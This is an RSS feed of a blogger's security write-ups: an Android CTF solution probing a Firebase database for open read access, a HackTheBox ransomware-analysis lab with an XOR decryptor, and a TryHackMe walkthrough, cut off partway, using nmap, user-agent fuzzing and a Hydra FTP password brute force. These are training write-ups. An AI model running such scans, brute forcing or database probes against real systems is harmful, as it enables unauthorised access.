<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Khanzjoel on Medium]]></title>
        <description><![CDATA[Stories by Khanzjoel on Medium]]></description>
        <link>https://medium.com/@khanzjoel55?source=rss-2d4614f1cd07------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*UdqmZxg9rLYOcOTW</url>
            <title>Stories by Khanzjoel on Medium</title>
            <link>https://medium.com/@khanzjoel55?source=rss-2d4614f1cd07------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 17:15:57 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@khanzjoel55/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MOBILE PENTESTING CHECK-LIST]]></title>
            <link>https://medium.com/@khanzjoel55/mobile-pentesting-check-list-54afb9c8d893?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/54afb9c8d893</guid>
            <category><![CDATA[mobile-pentest]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Fri, 30 Aug 2024 21:26:42 GMT</pubDate>
            <atom:updated>2024-08-30T21:34:59.934Z</atom:updated>
            <content:encoded><![CDATA[<p><a href="https://xmind.ai/share/PmH9M1uL?xid=kR0Hg9Cq">Copy of Android Application Penetration Testing Checklist (mohammadkhanthk).xmind</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I7Jl4ENM7ge-rbyesvVQDA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54afb9c8d893" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[INTER-VARSITY CTF REV CHALLENGES FROM CTFROOM]]></title>
            <link>https://medium.com/@khanzjoel55/inter-varsity-ctf-rev-challenges-from-ctfroom-447d1051a3fb?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/447d1051a3fb</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[android]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Thu, 07 Mar 2024 10:49:59 GMT</pubDate>
            <atom:updated>2024-03-07T10:50:50.618Z</atom:updated>
            <content:encoded><![CDATA[<h3>CHALLENGE: Daily Blatha</h3><h4>Test: Firebase Misconfig, SQlite DB, SharedPrefs</h4><p>This was fairly a unique challenge as there were no interactive activities, which meant that most of the work would be in the logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/0*r2u6egC6ABSmamZb.png" /></figure><p>Use Jadx-gui to decompile.</p><p><strong>Firebase DB endpoint.</strong></p><p>It is a fundamental pentesting methodology to check if an app uses a Firebase db and if it does, whether it is correctly configured.</p><p>In almost all cases, you’ll find the db enpoint in the strings.xml file. However, in this case, the author hardcoded the endpoint in one of the activities (firebaseActivity). Easy to find using jadx-gui *universal search tool.</p><p>Result: “<a href="https://dailyblatha-default-rtdb.europe-west1.firebasedatabase.app/%22">https://dailyblatha-default-rtdb.europe-west1.firebasedatabase.app/&quot;</a></p><p>To test for misconfigurations (read access) in the db, append .json to the enpoint URL and use curl or a browser to view results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/0*cU0vCwAWrGt9wd8g.png" /></figure><p><strong>SQlite db</strong></p><p>The SQlite db is natively supported in android and prefered as the local db for storage. For external databases, they’ll be added in the assets directory and later initialized if need be.</p><p><strong>Solution: Check for db in the assets folder and read its contents.</strong></p><p>Done;?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/0*vwd4m45WGLaQ_oRf.png" /></figure><p><strong>SharedPrefs</strong></p><p>Shared Preferences is a way to store and retrieve small amounts of primitive data as key/value pairs to a file on the device in Android.</p><p>In the applications activities, there’s a sharedPrefsActivity that looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/0*Vf2aEUUvcR5BA9XI.png" /></figure><p>Contains flag_3 that is base64 encoded.</p><p>Put the three flags together: BSidesNBI{4ndro1d_db_m1sc0nf1gs_4r3_d4ng3r0usss}</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=447d1051a3fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LOCKPICK -HTB]]></title>
            <link>https://medium.com/@khanzjoel55/lockpick-htb-060fbcacbe21?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/060fbcacbe21</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ransomware]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Thu, 11 Jan 2024 00:45:27 GMT</pubDate>
            <atom:updated>2024-01-11T09:01:57.617Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FwxvGLHyYRKDS454nqtpcg.png" /></figure><p>I am joel and i am happy to write about this box called lockpick. A ransomware based box with an amazing logic.</p><p>Scneario:</p><p>Forela needs your help! A whole portion of our UNIX servers have been hit with what we think is ransomware. We are refusing to pay the attackers and need you to find a way to recover the files provided. Warning This is a warning that this Sherlock includes software that is going to interact with your computer and files. This software has been intentionally included for educational purposes and is NOT intended to be executed or used otherwise. Always handle such files in isolated, controlled, and secure environments. One the Sherlock zip has been unzipped, you will find a DANGER.txt file. Please read this to proceed.</p><p>i have downloaded the files and extracted them 3 files forela-criticaldata and bescrypt.zip and DANGER.txt have been extracted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*fiZFy49rGlDcwGPybD2KGw.png" /></figure><p>on trying to unzip the zip file we are prompted to put a password with i find inside danger.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*zM1M65fwZCH6chY5TE_VfA.png" /></figure><p>on extracting the zip. there is an executable file probably the software that encrypts files..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*75YugmC6lpxSkx8-zKveNQ.png" /></figure><p>in this case a malicious ransomware software. the encrypted files are found inside forela-criticaldata</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*YHhDiLhTvFKSPbeGD5t5CA.png" /></figure><p>It is evident if we try to open any of those files we are prompted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*u6-Zkqa2S07bW1UqnFrE4g.png" /></figure><p>so lets decrypt the files but we have to get the actual key or encryption mechanism used to encrypt.</p><h3>Task 1</h3><p>Question: Please confirm the encryption key string used to encrypt the provided file?</p><p>To solve this you will need your basic reverse engineering skills.i prefer using radare to analyze the binary since its not striped.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*y5RinuEnDic1AJoN9jFDLw.png" /></figure><p>in order to look at the functions i run afl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iBRjPzhC9xnhQ7OkD8N61Q.png" /></figure><p>As you can see we have the main function present lets switch to it and check what it calls</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QlyVo5DH48OumzMaOnagVQ.png" /></figure><p>explanation of this</p><p>Let’s go through the code line by line:</p><pre>┌ 56: int main (int argc, char **argv, char **envp);<br>│           ; var char *var_10h @ rbp-0x10<br>│           ; var char *var_8h @ rbp-0x8<br>│           0x00001746      55             push rbp<br>│           0x00001747      4889e5         mov rbp, rsp<br>│           0x0000174a      4883ec10       sub rsp, 0x10</pre><ul><li>The function starts with the standard prologue, saving the base pointer (rbp) and setting up a new stack frame.</li></ul><pre>│           0x0000174e      488d05280a00.  lea rax, str.bhUlIshutrea98liOp ; 0x217d ; &quot;bhUlIshutrea98liOp&quot;<br>│           0x00001755      488945f8       mov qword [var_8h], rax</pre><ul><li>Load the address of the string “bhUlIshutrea98liOp” into the rax register and then store it in the variable at [rbp-0x8].</li></ul><pre>│           0x00001759      488d05300a00.  lea rax, str._forela_criticaldata_ ; 0x2190 ; &quot;/forela-criticaldata/&quot;<br>│           0x00001760      488945f0       mov qword [var_10h], rax</pre><ul><li>Load the address of the string “/forela-criticaldata/” into rax and store it in the variable at [rbp-0x10]</li></ul><pre>│           0x00001764      488b55f8       mov rdx, qword [var_8h]<br>│           0x00001768      488b45f0       mov rax, qword [var_10h]<br>│           0x0000176c      4889d6         mov rsi, rdx                ; int64_t arg2<br>│           0x0000176f      4889c7         mov rdi, rax                ; char *arg1</pre><ul><li>Load the values stored in the variables into registers rdx and rax, and then move them into rsi and rdi registers respectively, setting up arguments for the function call.assemb</li></ul><pre>│           0x00001772      e85dfdffff     call sym.process_directory</pre><ul><li>Call a function at the address sym.process_directory. This is where the actual logic is likely happening.</li></ul><pre>│           0x00001777      b800000000     mov eax, 0<br>│           0x0000177c      c9             leave<br>└           0x0000177d      c3             ret</pre><ul><li>The function wraps up with setting eax to 0 and then leaves the current stack frame (leave) and returns from the function (ret).</li></ul><h3>Task 1</h3><p>Question: Please confirm the encryption key string used to encrypt the provided file? answer is bhUlIshutrea98liOp</p><h3>Task 2</h3><p>Question: We recently received an email from wbevansn1@cocolog-nifty.com requesting the first and last name we registered him with. They believe they made a mistake during the application process. Please confirm the applicant’s first and last name.</p><p>i will follow the following steps;</p><p>1. Analyze function logic</p><p>1) Main function</p><p>The main function calls the process_directory function and passes a path and a key.</p><p>2) process_directory function</p><p>The function of this function is to obtain the files in the directory. You can see the encrypt_file function at the bottom. Double-click it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x0hoJr33RLR-Cv7TdJ4UgA.png" /></figure><p>3) encrypt_file function</p><p>Get the file content, encrypt it by bytes, then create a new file and delete the original file. Let’s copy the function and analyze it in detail.</p><p>UNDERSTANDING THE ENCRYPTION MECHANISM</p><p>i did this by putting back assembly code into the readable format and it looks like this</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;</pre><pre>void encrypt_file(char *filename, char *s) {<br>    FILE *stream = fopen(filename, &quot;rb&quot;);</pre><pre>    if (stream == NULL) {<br>        printf(&quot;Error opening file: %s\n&quot;, filename);<br>        return;<br>    }</pre><pre>    fseek(stream, 0, SEEK_END);<br>    long nitems = ftell(stream);<br>    rewind(stream);</pre><pre>    char *ptr = (char *)malloc(nitems);<br>    fread(ptr, 1, nitems, stream);<br>    fclose(stream);</pre><pre>    FILE *output = fopen(&quot;output_file.txt&quot;, &quot;wb&quot;);</pre><pre>    if (output == NULL) {<br>        printf(&quot;Error creating note file: %s\n&quot;, &quot;output_file.txt&quot;);<br>        free(ptr);<br>        return;<br>    }</pre><pre>    fwrite(ptr, 1, nitems, output);<br>    fclose(output);<br>    free(ptr);</pre><pre>    int result = remove(filename);</pre><pre>    if (result != 0) {<br>        printf(&quot;Error deleting original file: %s\n&quot;, filename);<br>    }<br>}</pre><pre>int main() {<br>    char *filename = &quot;example.txt&quot;;<br>    char *s = &quot;some_key&quot;;<br>    <br>    encrypt_file(filename, s);</pre><pre>    return 0;<br>}</pre><p>explanation</p><ul><li>Let’s break down the code:</li></ul><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>void encrypt_file(char *filename, char *s) {<br>    FILE *stream = fopen(filename, &quot;rb&quot;);<br>    if (stream == NULL) {<br>        printf(&quot;Error opening file: %s\n&quot;, filename);<br>        return;<br>    }</pre><ul><li>The encrypt_file function is defined to take a filename and a string s. It attempts to open the specified file in binary read mode (&quot;rb&quot;).</li></ul><pre>fseek(stream, 0, SEEK_END);<br>    long nitems = ftell(stream);<br>    rewind(stream);<br>char *ptr = (char *)malloc(nitems);<br>    fread(ptr, 1, nitems, stream);<br>    fclose(stream);</pre><ul><li>It then calculates the size of the file and allocates memory (malloc) to store its content in the ptr variable. The file content is read using fread, and the file stream is closed.</li></ul><pre>FILE *output = fopen(&quot;output_file.txt&quot;, &quot;wb&quot;);<br>if (output == NULL) {<br>        printf(&quot;Error creating note file: %s\n&quot;, &quot;output_file.txt&quot;);<br>        free(ptr);<br>        return;<br>    }</pre><ul><li>It opens a new file named “output_file.txt” in binary write mode (&quot;wb&quot;). If there&#39;s an issue creating the output file, it prints an error message, frees the memory allocated for the file content, and returns.</li></ul><pre>fwrite(ptr, 1, nitems, output);<br>    fclose(output);<br>    free(ptr);</pre><ul><li>The content of the original file (stored in ptr) is written to the new file using fwrite. The output file is then closed, and the allocated memory is freed.</li></ul><pre>int result = remove(filename);<br>if (result != 0) {<br>        printf(&quot;Error deleting original file: %s\n&quot;, filename);<br>    }<br>}</pre><ul><li>The original file specified by filename is attempted to be removed using the remove function. If there&#39;s an error in deleting the original file, an error message is printed.</li></ul><pre>int main() {<br>    char *filename = &quot;example.txt&quot;;<br>    char *s = &quot;some_key&quot;;<br>    <br>    encrypt_file(filename, s);<br>return 0;<br>}</pre><ul><li>In the main function, an example filename (&quot;example.txt&quot;) and an example string (&quot;some_key&quot;) are passed to the encrypt_file function.</li></ul><p><strong>After clarifying the logic of the encryption program, write a decryption program and use the ciphertext to perform an XOR operation on the key to obtain the plaintext.</strong></p><p>since we obtained the key i will use the following code</p><pre>import os<br>import time</pre><pre>def list_files(directory):<br>    return [i for i in os.listdir(directory) if i.endswith(&#39;.24bes&#39;)]</pre><pre>def decrypt(path, file):<br>    key = &#39;bhUlIshutrea98liOp&#39;<br>    key_len = len(key)<br>    content = bytearray()<br>    <br>  <br>    decrypt_folder = os.path.join(path, &#39;decrypt&#39;)<br>    try:<br>        os.makedirs(decrypt_folder)<br>    except FileExistsError:<br>        pass<br>    <br>    decrypt_before_path = os.path.join(path, file)<br>    decrypt_after_path = os.path.join(decrypt_folder, file[:-6])</pre><pre>   <br>    try:<br>        with open(decrypt_before_path, &#39;rb&#39;) as file:<br>            data = file.read()<br>    except FileNotFoundError:<br>        print(f&quot;[-] File not found: {decrypt_before_path}&quot;)<br>        return</pre><pre>   <br>    for i, v in enumerate(data):<br>        content.append(v ^ ord(key[i % key_len]))</pre><pre>  <br>    with open(decrypt_after_path, &quot;wb&quot;) as f:<br>        f.write(content)<br>    print(f&quot;[+] Decrypted: {decrypt_after_path}&quot;)<br></pre><pre>path = &#39;/home/kali/htb/sherlock/lockpic/forela-criticaldata&#39;<br>files = list_files(path)<br>files_len = len(files)</pre><pre>if files_len == 0:<br>    print(&quot;[-] No files found for decryption.&quot;)<br>else:<br>    for i, file in enumerate(files, start=1):<br>        decrypt(path, file)<br>        print(f&#39;\r[+] {i/files_len:.0%} [{&quot;▓&quot;*int(10*i/files_len)+&quot; &quot;*int(10*(files_len-i)/files_len)}]&#39;, end=&#39;&#39;)<br>        time.sleep(0.5)</pre><pre>print(&quot;\n[+] Decryption complete.&quot;)</pre><p><strong>Certainly! Let’s go through the code line by line, explaining each part:</strong></p><p>These lines import the necessary Python modules. os provides a way of interacting with the operating system, and time is used for introducing delays.</p><pre>def list_files(directory):<br>    return [i for i in os.listdir(directory) if i.endswith(&#39;.24bes&#39;)]</pre><p>This is a function definition named list_files. It takes a directory as an argument and returns a list of filenames within that directory that end with &#39;.24bes&#39;.</p><pre>def decrypt(path, file):<br>    key = &#39;bhUlIshutrea98liOp&#39;<br>    key_len = len(key)<br>    content = bytearray()</pre><p>This is a function definition named decrypt. It takes path (the directory containing files) and file (the specific file to decrypt) as arguments. It initializes a key for XOR encryption and creates an empty bytearray to store the decrypted content.</p><pre>decrypt_folder = os.path.join(path, &#39;decrypt&#39;)<br>    try:<br>        os.makedirs(decrypt_folder)<br>    except FileExistsError:<br>        pass</pre><p>This part creates a folder named ‘decrypt’ within the specified directory (path). It uses os.path.join for constructing the full path. It catches the FileExistsError if the folder already exists.</p><pre>decrypt_before_path = os.path.join(path, file)<br>    decrypt_after_path = os.path.join(decrypt_folder, file[:-6])</pre><p>These lines construct the full paths for the file to be decrypted (decrypt_before_path) and the path where the decrypted file will be saved (decrypt_after_path). The [:-6] removes the last 6 characters from the filename to exclude the &#39;.24bes&#39; extension.</p><pre>try:<br>        with open(decrypt_before_path, &#39;rb&#39;) as file:<br>            data = file.read()<br>    except FileNotFoundError:<br>        print(f&quot;[-] File not found: {decrypt_before_path}&quot;)<br>        return</pre><p>This block attempts to open the file (decrypt_before_path) for reading in binary mode. If the file is not found, it prints an error message and returns from the decrypt function</p><pre>for i, v in enumerate(data):<br>        content.append(v ^ ord(key[i % key_len]))</pre><p>This loop iterates through the bytes in the file (data). It performs an XOR operation (^) with the corresponding character from the key. The enumerate function is used to get both the index (i) and the value (v) of each byte.</p><pre>with open(decrypt_after_path, &quot;wb&quot;) as f:<br>        f.write(content)</pre><p>This block opens the file (decrypt_after_path) for writing in binary mode and writes the decrypted content to the file.</p><pre>print(f&quot;[+] Decrypted: {decrypt_after_path}&quot;)</pre><p>Prints a message indicating that the file has been decrypted successfully.</p><pre>path = &#39;/home/kali/htb/sherlock/lockpic/forela-criticaldata&#39;<br>files = list_files(path)<br>files_len = len(files)</pre><p>Sets the directory path (path) and gets a list of files to decrypt using the list_files function. Also, calculates the total number of files.</p><pre>if files_len == 0:<br>    print(&quot;[-] No files found for decryption.&quot;)<br>else:<br>    for i, file in enumerate(files, start=1):<br>        decrypt(path, file)<br>        print(f&#39;\r[+] {i/files_len:.0%} [{&quot;▓&quot;*int(10*i/files_len)+&quot; &quot;*int(10*(files_len-i)/files_len)}]&#39;, end=&#39;&#39;)<br>        time.sleep(0.5)</pre><p>This block checks if there are files to decrypt. If there are none, it prints an error message. Otherwise, it iterates through the files, decrypts each one, and prints a progress bar to visualize the decryption progress.</p><pre>print(&quot;\n[+] Decryption complete.&quot;)</pre><p>Prints a message indicating that the decryption process has completed.</p><p>like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0MSOs6pIpvbDSHKMgcapNg.png" /></figure><p>Now the files are encrypted..</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LXLG_1s7cRaV6sTCqyqS1w.png" /></figure><p>LETS answer all qns</p><h3>Task 2</h3><p>Question: We recently received an email from wbevansn1@cocolog-nifty.com requesting the first and last name we registered him with. They believe they made a mistake during the application process. Please confirm the applicant’s first and last name.</p><p>View the forela_uk_applicants.sql file</p><p>Find the name based on the email address (wbevansn1@cocolog-nifty.com)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b-0UacEQGGvtTRk0xgtY4w.png" /></figure><p>Answer: Walden Bevans</p><h3>Task 3</h3><p>Question: What is the MAC address and serial number assigned to Hart Manifould’s laptop?</p><p>View the it_assets.xml file and look directly for Hart Manifould</p><p>Answer: E8–16-DF-E7–52–48, 1316262 (the comma is followed by a space)</p><h3>Task 4</h3><p>Question: What is the attacker’s email address?</p><p>Each encrypted file has a threat file. When you open it, you will find a mailbox.</p><p>Answer: bes24@protonmail.com</p><h3>Task 5</h3><p>Question: The City of London Police suspect some insider trading within our trading organization. Please confirm the email address and profit margin of the person with the highest profit margin on a single transaction.</p><p>Check the trading-firebase_bkup.json file. There is too much data and it is not easy to sort.</p><pre>import json</pre><pre># Read the JSON data from the given file<br>with open(&quot;trading-firebase_bkup.json&quot;, &quot;r&quot;) as file:<br>    data = json.load(file)</pre><pre># Sort the data based on profit_percentage in descending order<br>sorted_data = sorted(data.items(), key=lambda x: x[1][&quot;profit_percentage&quot;], reverse=True)</pre><pre># Get the person with the highest profit percentage<br>highest_profit_person = sorted_data[0][1]</pre><pre># Print the email address and profit percentage of the person with the highest profit percentage<br>print(f&quot;Email Address: {highest_profit_person[&#39;email&#39;]}&quot;)<br>print(f&quot;Profit Percentage: {highest_profit_person[&#39;profit_percentage&#39;]}%&quot;</pre><p>Answer: fmosedale17a@bizjournals.com, 142303.1996053929628411706675436</p><h3>Task 6</h3><p>Question: Our eDiscovery team would like to confirm the IP address details of a user suspected of sharing an account with a colleague in the sales forecast logs. Please confirm Karylin O’Hederscoll’s IP address.</p><p>View the sales_forecast.xlsx file and search based on last name (O’Hederscoll) and first name (Karylin)</p><p>Answer: 8.254.104.208</p><h3>Task 7</h3><p>Question: Which of the following file extensions is not a target of malware?.txt, .sql,.ppt, .pdf, .docx, .xlsx, .csv, .json, .xml</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vdd7ux5E6IRrbRvVEAcrvQ.png" /></figure><p>Answer: .ppt</p><h3>Task 8</h3><p>Question: We need to confirm the integrity of the file after decryption. Please confirm the MD5 hash of the applicant database.</p><p>cmd command (if you have not made any modifications to the file, then your hash is consistent with mine)</p><pre>md5sum forela_uk_applicants.sql</pre><p>Answer: f3894af4f1ffa42b3a379dddba384405</p><h3>Task 9</h3><p>Question: We need to confirm the integrity of the file after decryption. Please confirm the MD5 hash of the transaction backup.</p><p>cmd command</p><pre>md5sum trading-firebase_bkup.json</pre><p>Answer: 87baa3a12068c471c3320b7f41235669</p><h3>Task 10</h3><p>Question: We need to confirm the integrity of the file after decryption. Please confirm the MD5 hash of the complaint file.</p><p>cmd command</p><pre>md5sum complaints.csv</pre><p>Answer: c3f05980d9bd945446f8a21bafdbf4e7</p><p>happyhacking<br>@khanzjoel -twitter</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=060fbcacbe21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Agent Sudo — TryhackMe WriteUp]]></title>
            <link>https://medium.com/@khanzjoel55/agent-sudo-tryhackme-writeup-5dfc08ce8de1?source=rss-2d4614f1cd07------2</link>
            <guid isPermaLink="false">https://medium.com/p/5dfc08ce8de1</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[htb-walkthrough]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <dc:creator><![CDATA[Khanzjoel]]></dc:creator>
            <pubDate>Mon, 23 Oct 2023 22:13:41 GMT</pubDate>
            <atom:updated>2023-10-23T22:14:34.058Z</atom:updated>
            <content:encoded><![CDATA[<h3>Agent Sudo — TryhackMe WriteUp</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/88/0*jSFwr8ANrHptIPNx.jpeg" /></figure><p>By Joel_kh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Dvq9xl7NI8wvDRai.png" /></figure><p>Hello readers, let’s dive into the depths of cyber intrigue with ‘<a href="https://tryhackme.com/room/agentsudoctf">Agent Sudo</a>,’ a captivating easy rated room on TryHackMe. Imagine yourself as a digital deep-sea explorer, tasked with infiltrating a hidden server shrouded in mystery. Unearth secrets and uncover the truth in this thrilling hacking challenge.</p><p>DESCRIPTION: You found a secret server located under the deep sea. Your task is to hack inside the server and reveal the truth.</p><p>Started Nmap scan. There are 3 opens ports</p><pre>└─$ nmap --min-rate 1000 -p- 10.10.214.103    <br>Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-17 13:25 EAT<br>Nmap scan report for 10.10.214.103<br>Host is up (0.29s latency).<br>Not shown: 65532 closed tcp ports (conn-refused)<br>PORT   STATE SERVICE<br>21/tcp open  ftp<br>22/tcp open  ssh<br>80/tcp open  http</pre><pre>Nmap done: 1 IP address (1 host up) scanned in 68.30 seconds</pre><p>Next I ran a service scan.</p><pre>└─$ nmap -p21,22,80 -A 10.10.214.103      <br>Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-17 13:27 EAT<br>Nmap scan report for 10.10.214.103<br>Host is up (0.34s latency).</pre><pre>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 3.0.3<br>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   2048 ef:1f:5d:04:d4:77:95:06:60:72:ec:f0:58:f2:cc:07 (RSA)<br>|   256 5e:02:d1:9a:c4:e7:43:06:62:c1:9e:25:84:8a:e7:ea (ECDSA)<br>|_  256 2d:00:5c:b9:fd:a8:c8:d8:80:e3:92:4f:8b:4f:18:e2 (ED25519)<br>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))<br>|_http-server-header: Apache/2.4.29 (Ubuntu)<br>|_http-title: Annoucement<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel</pre><pre>Service detection performed. Please report any incorrect results at <a href="https://nmap.org/submit/">https://nmap.org/submit/</a> .<br>Nmap done: 1 IP address (1 host up) scanned in 20.34 seconds</pre><p>I start enumerating the services running on each port</p><p><em>FTP (Port 21)</em></p><p>Tried checking for a possibilty for anonymous:anonymous creds but it failed</p><pre>└─$ ftp 10.10.214.103<br>Connected to 10.10.214.103.<br>220 (vsFTPd 3.0.3)<br>Name (10.10.214.103:kali): anonymous<br>331 Please specify the password.<br>Password: <br>530 Login incorrect.<br>ftp: Login failed<br>ftp&gt; quit<br>221 Goodbye.</pre><p><em>HTTP (Port 80)</em></p><p>I accessed the IP via browser. We find a message in the site.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gUp5FDVJATEaQBFs.png" /></figure><p>As user-agent is mentioned I initialize BurpSuite. Because the instruction is <em>Use your own codename as user-agent to access the site</em>. The message came from <em>Agent R</em> so we try changing the user-agent. The image below is by default user-agent.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*jI7rvawkwSSa5rPH.png" /></figure><p>So I changed it to R for a response, I got a message (<em>What are you doing! Are you one of the 25 employees? If not, I going to report this incident</em>). From that I started I started the value of the user-agent to each of the alphabet letters.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*nhof12JUMD11yeFk.png" /></figure><p>On reaching letter C, I saw a GET request value with a directory <em>/agent_C_attention.php</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*GEMVBxn3tBFb-pmp.png" /></figure><p>On accessing it we get a username chris and shows there is another Agent J</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*cFUDl7BfsWFEtEs8.png" /></figure><p>I guessed chris was our ftp access so I used Hydra to bruteforce and get the password.</p><pre>└─$ hydra -l chris -P /usr/share/wordlists/rockyou.txt 10.10.214.103 ftp<br>Hydra v9.5 (c) 2023 by van Hauser/THC &amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).</pre><pre>Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-08-17 13:58:32<br>[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore<br>[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task<br>[DATA] attacking ftp://10.10.214.103:21/<br>[STATUS] 224.00 tries/min, 224 tries in 00:01h, 14344175 to do in 1067:17h, 16 active<br>[21][ftp] host: 10.10.214.103   login: chris   password: (REDACTED)<br>1 of 1 target successfully completed, 1 valid password found<br>Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-08-17 13:59:51</pre><p>I successfully logged in and found the contents(txt file and 2 images) of the ftp server</p><pre>└─$ ftp 10.10.214.103<br>Connected to 10.10.214.103.<br>220 (vsFTPd 3.0.3)<br>Name (10.10.214.103:kali): chris<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||16915|)<br>150 Here comes the directory listing.<br>-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt<br>-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg<br>-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png<br>226 Directory send OK.<br>ftp&gt;</pre><p>I downloaded all the contents to local machine.</p><pre>─$ ftp 10.10.214.103<br>Connected to 10.10.214.103.<br>220 (vsFTPd 3.0.3)<br>Name (10.10.214.103:kali): chris<br>331 Please specify the password.<br>Password: <br>230 Login successful.<br>Remote system type is UNIX.<br>Using binary mode to transfer files.<br>ftp&gt; ls<br>229 Entering Extended Passive Mode (|||16915|)<br>150 Here comes the directory listing.<br>-rw-r--r--    1 0        0             217 Oct 29  2019 To_agentJ.txt<br>-rw-r--r--    1 0        0           33143 Oct 29  2019 cute-alien.jpg<br>-rw-r--r--    1 0        0           34842 Oct 29  2019 cutie.png<br>226 Directory send OK.<br>ftp&gt; mget To_agentJ.txt cut<br>cute-alien.jpg  cutie.png<br>ftp&gt; mget To_agentJ.txt cute-alien.jpg cutie.png<br>mget To_agentJ.txt [anpqy?]? y<br>229 Entering Extended Passive Mode (|||24166|)<br>150 Opening BINARY mode data connection for To_agentJ.txt (217 bytes).<br>100% |***********************************************************************|   217      909.50 KiB/s    00:00 ETA<br>226 Transfer complete.<br>217 bytes received in 00:00 (0.71 KiB/s)<br>mget cute-alien.jpg [anpqy?]? y<br>229 Entering Extended Passive Mode (|||9683|)<br>150 Opening BINARY mode data connection for cute-alien.jpg (33143 bytes).<br>100% |***********************************************************************| 33143       50.16 KiB/s    00:00 ETA<br>226 Transfer complete.<br>33143 bytes received in 00:00 (34.10 KiB/s)<br>mget cutie.png [anpqy?]? y<br>229 Entering Extended Passive Mode (|||35392|)<br>150 Opening BINARY mode data connection for cutie.png (34842 bytes).<br>100% |***********************************************************************| 34842       55.21 KiB/s    00:00 ETA<br>226 Transfer complete.<br>34842 bytes received in 00:00 (37.04 